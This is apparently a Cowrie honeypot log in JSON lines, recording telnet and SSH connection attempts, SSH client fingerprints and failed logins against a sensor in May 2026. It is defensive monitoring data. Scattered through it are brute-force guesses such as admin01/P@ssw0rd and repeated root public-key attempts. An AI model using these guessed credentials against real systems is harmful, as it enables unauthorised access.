{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":54402,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c09fedc871","protocol":"telnet","message":"New connection: 45.63.78.87:54402 (10.17.0.5:23) [session: d3c09fedc871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:46.328496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"774284dbc1e1","protocol":"telnet","message":"New connection: 45.63.78.87:55218 (10.17.0.5:23) [session: 774284dbc1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:48.795268Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":55462,"dst_ip":"10.17.0.5","dst_port":23,"session":"6beb4bf97f7f","protocol":"telnet","message":"New connection: 45.63.78.87:55462 (10.17.0.5:23) [session: 6beb4bf97f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:50.445378Z"}
{"eventid":"cowrie.session.closed","duration":30.262442350387573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:55.138049Z","src_ip":"45.63.78.87","session":"0503ccedb976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099365234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:03.795024Z","src_ip":"45.63.78.87","session":"91581db77c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":59380,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfce2dfe59aa","protocol":"telnet","message":"New connection: 45.63.78.87:59380 (10.17.0.5:23) [session: bfce2dfe59aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:04.883846Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":33366,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d3fb959554","protocol":"telnet","message":"New connection: 45.63.78.87:33366 (10.17.0.5:23) [session: 93d3fb959554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:14.006831Z"}
{"eventid":"cowrie.session.closed","duration":30.70519757270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:17.033550Z","src_ip":"45.63.78.87","session":"d3c09fedc871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010337829589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:19.805423Z","src_ip":"45.63.78.87","session":"774284dbc1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677231788635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:21.122474Z","src_ip":"45.63.78.87","session":"6beb4bf97f7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.294901847839355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:35.178602Z","src_ip":"45.63.78.87","session":"bfce2dfe59aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"98dd36009eb5","protocol":"telnet","message":"New connection: 45.63.78.87:41708 (10.17.0.5:23) [session: 98dd36009eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:42.398015Z"}
{"eventid":"cowrie.session.closed","duration":37.37947392463684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:51.386168Z","src_ip":"45.63.78.87","session":"93d3fb959554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43888,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c500aeb685","protocol":"telnet","message":"New connection: 45.63.78.87:43888 (10.17.0.5:23) [session: 38c500aeb685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:52.767718Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":8307,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae7f7c23067","protocol":"ssh","message":"New connection: 185.9.193.111:8307 (159.203.135.109:22) [session: eae7f7c23067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:52.860326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:52.866318Z","src_ip":"185.9.193.111","session":"eae7f7c23067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:53.818934Z","src_ip":"185.9.193.111","session":"eae7f7c23067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"P@ssw0rd","message":"login attempt [admin01/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:56.669187Z","src_ip":"185.9.193.111","session":"eae7f7c23067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:31:58.228776Z","src_ip":"185.9.193.111","session":"eae7f7c23067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.141","src_port":41762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc7bc62b72b","protocol":"ssh","message":"New connection: 14.103.117.141:41762 (10.17.0.5:22) [session: ffc7bc62b72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:02.074285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:02.084220Z","src_ip":"14.103.117.141","session":"ffc7bc62b72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:03.170742Z","src_ip":"14.103.117.141","session":"ffc7bc62b72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postfixtester","password":"postfixtester","message":"login attempt [postfixtester/postfixtester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:03.827088Z","src_ip":"14.103.117.141","session":"ffc7bc62b72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.212509870529175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:13.610395Z","src_ip":"45.63.78.87","session":"98dd36009eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":50686,"dst_ip":"10.17.0.5","dst_port":23,"session":"2284cd841040","protocol":"telnet","message":"New connection: 45.63.78.87:50686 (10.17.0.5:23) [session: 2284cd841040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:23.305418Z"}
{"eventid":"cowrie.session.closed","duration":31.24808621406555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:24.015711Z","src_ip":"45.63.78.87","session":"38c500aeb685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":51356,"dst_ip":"10.17.0.5","dst_port":23,"session":"743a503e478b","protocol":"telnet","message":"New connection: 45.63.78.87:51356 (10.17.0.5:23) [session: 743a503e478b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:26.702729Z"}
{"eventid":"cowrie.session.closed","duration":31.001413822174072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:54.306728Z","src_ip":"45.63.78.87","session":"2284cd841040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.346948862075806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:32:57.049552Z","src_ip":"45.63.78.87","session":"743a503e478b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.250","src_port":43950,"dst_ip":"10.17.0.5","dst_port":22,"session":"92f2debca06e","protocol":"ssh","message":"New connection: 185.255.100.250:43950 (10.17.0.5:22) [session: 92f2debca06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.919774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.923923Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.931321Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:33:86:ea:6e:a8:dc:bc:19:77:e0:34:5c:af:8f:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMEF5Q729ga+tPvuI5tBYJaVLWCTYDs7aOxeI3zVDHtuID4gQhMJu/BGRR4GWF6e5ExmodIbGCtWrgfuevF6kOCD6I4ewGhrA5u0KjiM+B0txlDYJv/lF9/9cNbHUQ3itb5PvALw1Se8olqNEmPQhVpX8Xx9xg/OcHnxXE1e/YUe0s4MaBn0ZebOAO3l7qlIQeLNFTbEhD0jeIz+zFMFAmeKUTwY/72XZ5HvxogojcbDzSwwqtTNXowWz1nyROdbA3HSaJI8IeZYu81OGLcAzGTU3khQ16dGF7zJLxVDSVwI2hnmAwKb1+Epz4qherhD45QaAOxpfAgfryQe1rqyL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:33:86:ea:6e:a8:dc:bc:19:77:e0:34:5c:af:8f:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.953558Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:33:86:ea:6e:a8:dc:bc:19:77:e0:34:5c:af:8f:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoMEF5Q729ga+tPvuI5tBYJaVLWCTYDs7aOxeI3zVDHtuID4gQhMJu/BGRR4GWF6e5ExmodIbGCtWrgfuevF6kOCD6I4ewGhrA5u0KjiM+B0txlDYJv/lF9/9cNbHUQ3itb5PvALw1Se8olqNEmPQhVpX8Xx9xg/OcHnxXE1e/YUe0s4MaBn0ZebOAO3l7qlIQeLNFTbEhD0jeIz+zFMFAmeKUTwY/72XZ5HvxogojcbDzSwwqtTNXowWz1nyROdbA3HSaJI8IeZYu81OGLcAzGTU3khQ16dGF7zJLxVDSVwI2hnmAwKb1+Epz4qherhD45QaAOxpfAgfryQe1rqyL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.958104Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:cb:12:7f:82:87:9f:e5:cf:09:29:6b:c9:69:0c:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOiYVty3Rh77aTZb8Tdza+e4LL6ruYdUNaTIKzQDCKm1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:cb:12:7f:82:87:9f:e5:cf:09:29:6b:c9:69:0c:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.967854Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:cb:12:7f:82:87:9f:e5:cf:09:29:6b:c9:69:0c:6b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOiYVty3Rh77aTZb8Tdza+e4LL6ruYdUNaTIKzQDCKm1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.974573Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:93:1c:66:47:a8:da:f5:ed:b4:c0:84:b9:d0:4f:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOV4IErdWvY9zV4bKmbJ5IPUH3rL43GizzY3ilMLL4Kt","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c9:93:1c:66:47:a8:da:f5:ed:b4:c0:84:b9:d0:4f:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.983948Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:93:1c:66:47:a8:da:f5:ed:b4:c0:84:b9:d0:4f:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOV4IErdWvY9zV4bKmbJ5IPUH3rL43GizzY3ilMLL4Kt","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.988142Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:4c:ed:1d:38:33:20:f5:0c:21:8c:37:98:00:68:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC+a7lrqvT27QgG+x7rnYnQe97m5J0X+wOvjXVXA97Xq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1c:4c:ed:1d:38:33:20:f5:0c:21:8c:37:98:00:68:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.996099Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:4c:ed:1d:38:33:20:f5:0c:21:8c:37:98:00:68:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC+a7lrqvT27QgG+x7rnYnQe97m5J0X+wOvjXVXA97Xq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:04.999289Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:46:64:08:65:df:b5:f6:59:1e:a5:05:f0:3c:22:53","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKBT4fbALoF2iQJSBTlaMoQh5fpYHCeWJm8Si2CzK5Sy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 20:46:64:08:65:df:b5:f6:59:1e:a5:05:f0:3c:22:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:05.007809Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:46:64:08:65:df:b5:f6:59:1e:a5:05:f0:3c:22:53","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKBT4fbALoF2iQJSBTlaMoQh5fpYHCeWJm8Si2CzK5Sy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:05.013898Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:05.027822Z","src_ip":"185.255.100.250","session":"92f2debca06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":33198,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4f71ece1a9","protocol":"telnet","message":"New connection: 45.63.78.87:33198 (10.17.0.5:23) [session: 1e4f71ece1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:06.914473Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":40166,"dst_ip":"10.17.0.5","dst_port":23,"session":"982ae81f8548","protocol":"telnet","message":"New connection: 45.63.78.87:40166 (10.17.0.5:23) [session: 982ae81f8548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:30.361157Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":64691,"dst_ip":"159.203.135.109","dst_port":22,"session":"716f90129fc4","protocol":"ssh","message":"New connection: 185.9.193.111:64691 (159.203.135.109:22) [session: 716f90129fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:35.797611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:35.802901Z","src_ip":"185.9.193.111","session":"716f90129fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:36.683824Z","src_ip":"185.9.193.111","session":"716f90129fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b94b0fbde43","protocol":"telnet","message":"New connection: 45.63.78.87:42122 (10.17.0.5:23) [session: 8b94b0fbde43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:37.070652Z"}
{"eventid":"cowrie.session.closed","duration":30.42900538444519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:37.343371Z","src_ip":"45.63.78.87","session":"1e4f71ece1a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"1","message":"login attempt [ftptest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:38.876702Z","src_ip":"185.9.193.111","session":"716f90129fc4","protocol":"ssh"}
